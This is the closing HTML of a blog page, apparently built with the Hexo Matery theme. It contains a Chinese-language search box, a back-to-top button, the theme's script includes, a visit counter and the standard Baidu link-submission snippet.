            <input type="search" id="searchInput" name="s" placeholder="请输入搜索的关键字"
                   class="search-input">
        </div>
        <div id="searchResult"></div>
    </div>
</div>

<script src="/js/search.js"></script>
<script type="text/javascript">
$(function () {
    searchFunc('/search.xml', 'searchInput', 'searchResult');
});
</script>

    <!-- 回到顶部按钮 -->
<div id="backTop" class="top-scroll">
    <a class="btn-floating btn-large waves-effect waves-light" href="#!">
        <i class="fas fa-arrow-up"></i>
    </a>
</div>


    <script src="/libs/materialize/materialize.min.js"></script>
    <script src="/libs/masonry/masonry.pkgd.min.js"></script>
    <script src="/libs/aos/aos.js"></script>
    <script src="/libs/scrollprogress/scrollProgress.min.js"></script>
    <script src="/libs/lightGallery/js/lightgallery-all.min.js"></script>
    <script src="/js/matery.js"></script>

    <!-- Baidu Analytics -->

    <!-- Baidu Push -->

<script>
    (function () {
        var bp = document.createElement('script');
        var curProtocol = window.location.protocol.split(':')[0];
        if (curProtocol === 'https') {
            bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
        } else {
            bp.src = 'http://push.zhanzhang.baidu.com/push.js';
        }
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(bp, s);
    })();
</script>

    
    
    <script async src="/libs/others/busuanzi.pure.mini.js"></script>
    

    

    

    

    

    

    
    <script src="/libs/instantpage/instantpage.js" type="module"></script>
    

</body>

</html>
